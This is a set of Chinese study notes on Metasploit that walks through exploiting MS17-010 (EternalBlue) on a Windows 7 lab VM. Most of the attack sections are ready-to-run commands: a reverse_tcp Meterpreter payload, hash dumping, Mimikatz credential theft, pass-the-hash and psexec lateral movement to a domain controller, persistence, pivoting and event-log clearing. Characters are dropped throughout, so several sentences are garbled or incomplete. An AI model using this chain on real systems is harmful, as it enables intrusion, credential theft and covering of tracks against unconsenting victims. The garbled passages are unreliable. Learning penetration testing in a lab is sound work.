Metasploit 上手笔记:模块体系怎么记、我用 ms17-010 完整打通过一台靶机、Meterpreter 会话管理和 msfvenom 生成木马的具体命令。
核心知识点
1. 漏洞与漏洞编号
- 漏洞:系统、软件或设备中的弱点或缺陷,可能被坏人利用。例:门锁少拧一颗螺丝。
- 漏洞编号:为每个被确认的漏洞的唯一数字+字符标识,消除命名歧义,实现标准化追踪。
- CVE 编号体系:
CVE-年份-序列号,如CVE-2025-12345,由 MITRE 维护、NVD 支持。
2. 永恒之蓝(MS17-010)产生原因
- SMBv1 协议(“马虎的老保安”)未严格检查接收的数据量。
- 原理:攻击谎称只存 3 个文件(缓冲区大小),塞 100 个文件,恶意数据”溢出”到系统区域(控制室),覆盖”操作手册”(指令),把伪造的开门指令,系统执行后交出最高权限。本质是缓冲区溢出。
- SMB 协议端口:
端口 底层协议 适用场景 重点 139 NetBIOS 老旧系统(XP/2003) 很少单独使用 445 TCP 现代系统(Win7/10/11) 高危端口,永恒之蓝攻击 - 查看 445 端口:
netstat -ano | findstr ":445"(LISTENING 状态说明 SMB 开启,PID 4 为 System 进程)。 - 防御: MS17-010 补丁、 445 端口、开启防火墙、更新杀毒软件。
3. MSF 简介与模块
- MSF(Metasploit Framework):开源渗透测试框架,专家的”万能军火库”/“瑞士军刀”。集成了漏洞扫描、攻击代码、有效载荷和报告生成。
- 核心模块文件:
/usr/share/metasploit-framework/modules, 7 类,常用 3 类:
auxiliary 模块(不建立访问,只扫描/探/指纹识别):
- Scanner 扫描器:
auxiliary/scanner/portscan/tcp(TCP 端口扫描)、auxiliary/scanner/discovery/arp_sweep(主机发现)、auxiliary/scanner/smb/smb_version(SMB 版本)、auxiliary/scanner/http/http_version(HTTP 识别)、auxiliary/scanner/smb/smb_ms17_010(永恒之蓝检测)、auxiliary/scanner/http/dir_scanner(目录爆破)、auxiliary/scanner/http/robots_txt。 - Sniffer 探器:被动监听捕获流量中的密码/Hash。三种场景:外部探(同一物理网络)、探(已控制目标)、网络核心位置探(控制/ARP 欺骗成为中间人)。
- DoS 拒绝服务:测试系统稳定性(用)。
exploits 漏洞利用模块:
- 本质是代码,唯一任务是触发目标漏洞,为执行 Payload 打开大门。
- ****:攻击成功 = 漏洞(存在)+ Exp(突破)+ Payload(执行)。
- 比喻:漏洞是没严的窗户,Exp 是撬棍/万能钥匙,Payload 是小偷进屋后做的事。
post 后渗透模块:
- 拿到会话后在目标进行信息收集、提权、化、网穿透等。
4. Exploit 参数
- RHOSTS:目标主机 IP(可单个、网段
192.168.1.0/24、文件file:/tmp/ips.txt)。 - RPORT:目标服务端口(SMB 默认 445,SSH 默认 22)。
- TARGET:目标系统类型。不同系统地址不同,自动模式失败用
show targets+set target <ID>手动指定。 - Payload:攻击成功后要执行的代码,与 Exploit/系统(不能在 Linux Exploit 上使用 Windows Payload)。
5. Payload 命名规则
<操作系统>/<架构>/<功能类型>/<连接方式>
- 操作系统:windows、linux、android、php
- 架构:x86(32位)、x64(64位)
- 功能类型:
meterpreter(首选,功能极强的后门)、shell(命令行回连)、vncdll(图形远程桌面) - 连接方式:
reverse_tcp(反向连接,连攻击,绕过防火墙,最常用)、bind_tcp(正向连接,攻击连) - 示例(Windows 7 64位):
windows/x64/meterpreter/reverse_tcp
为什么 reverse_tcp + meterpreter 是黄金搭档:反向连接让主动连攻击绕过防火墙;Meterpreter 活在不写硬盘难被查杀,自带密码抓取/键盘记录/截屏,支持动态加载扩展。
6. 永恒之蓝完整复现
环境准备:VMware 中 Kali(攻击机)+ Windows 7(靶机),同一网络(NAT/桥接)。 靶机准备:防火墙、杀毒软件、卸载 MS17-010 补丁(KB4012212 等)。
# 信息收集:扫描 445 端口
nmap -p 445 <靶机IP>
# 启动 MSF
msfconsole
# 搜索模块
search ms17-010
# 扫描验证漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <靶机IP>
run
# 输出:Host is likely VULNERABLE to MS17-010!
# 利用模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS <靶机IP>
set LHOST <攻击机IP>
check # 可选,非攻击性检测
exploit
# 成功:Meterpreter session 1 opened
7. Meterpreter 后渗透操作
基础命令:
getuid # 查看当前权限(通常 SYSTEM)
sysinfo # 查看系统信息
screenshot # 截屏
shell # CMD 命令行
clearev # 事件日志
信息收集类 Post 模块:
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/enum_applications # 枚举已软件
run post/windows/gather/winenum # 网络/用户列表/剪贴板等
run post/windows/manage/keylog_recorder # 键盘记录(keylog_dump 查看)
权限提升与凭证窃取:
run post/multi/recon/local_exploit_suggester # 推荐提权 Exploit
run post/windows/gather/smart_hashdump # 导出所有用户哈希(需 SYSTEM)
load kiwi # 加载 Mimikatz 扩展
creds_all # 抓取明文密码(Wdigest 开启时)
Mimikatz 独立使用(MSF 提权失败时):
# 上传 mimikatz
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:\\Users\\Public\\
# 执行
shell
cd C:\Users\Public
mimikatz.exe
privilege::debug # 提升自身权限(Privilege '20' OK)
sekurlsa::logonpasswords # 转储 LSASS 进程凭证(核心)
使用抓取到的凭证横向移动:
# 哈希传递 pth
load kiwi
pth USERNAME=Admin NTLM=<NTLM哈希>
# psexec 模块横向移动
background
use exploit/windows/smb/psexec
set RHOSTS <目标域控IP>
set SMBUser Administrator
set SMBPass <NTLM哈希>
run
注意:privilege::debug 需已是管理员组成员;mimikatz.exe 易被杀软删除,推荐用 MSF kiwi(执行不落盘)。
化:
run post/windows/manage/persistence_exe # 注册为服务开机自启
run post/windows/manage/registry_persistence # 注册表 Run 键
- 注册表:Windows 的”大脑”和”记事本”。
Win+Rregedit打开。五大根键:HKCR(文件类型)、HKCU(当前用户)、HKLM(机器硬件软件)、HKU(所有用户)、HKCC(硬件)。值类型:REG_SZ 字符串、REG_BINARY 二进制、REG_DWORD 数字。
网穿透与横向移动:
run post/multi/manage/autoroute # 添加路由,让 MSF 通过会话转发到网
run post/multi/manage/socks_proxy # 目标变代理服务器, Proxychains
portfwd add -l 1234 -p 3389 -r 目标IP # 端口转发(绕过防火墙连远程桌面)
痕迹:
run post/windows/manage/clear_event_log # 空系统//应用日志
Post 模块标准操作流程:
getuid → sysinfo → enum_applications → smart_hashdump → migrate(迁移到 explorer.exe/svchost.exe 防止掉线)→ persistence_exe
查找 Post 模块:search type:post、search post windows gather。
8. Docker 容器解决环境
- Ubuntu 系统 php 版本过高导致 SQL-Lab 部署失败时,用 Docker 把低版本 PHP 成镜像运行容器并做端口映射,解决环境问题。
实操步骤
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.105
run
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.1.105
set LHOST 192.168.1.100
exploit
# 后渗透
getuid
sysinfo
screenshot
run post/windows/gather/smart_hashdump
load kiwi
creds_all
run post/multi/manage/autoroute
clearev
常见错误与排查
- 445 端口扫描 closed → 靶机防火墙未、补丁未卸。
- exploit 失败蓝屏 → 选错 TARGET/架构,确认 Win7 x64 用 x64 payload。
- check 显示 VULNERABLE 但 exploit 失败 → 补丁未卸载干净或版本不。
- Mimikatz 被杀软删除 → 改用
load kiwi加载。 privilege::debug失败 → 当前不是管理员组成员。- 拿到 shell 后掉线 → 记得 migrate 到稳定进程。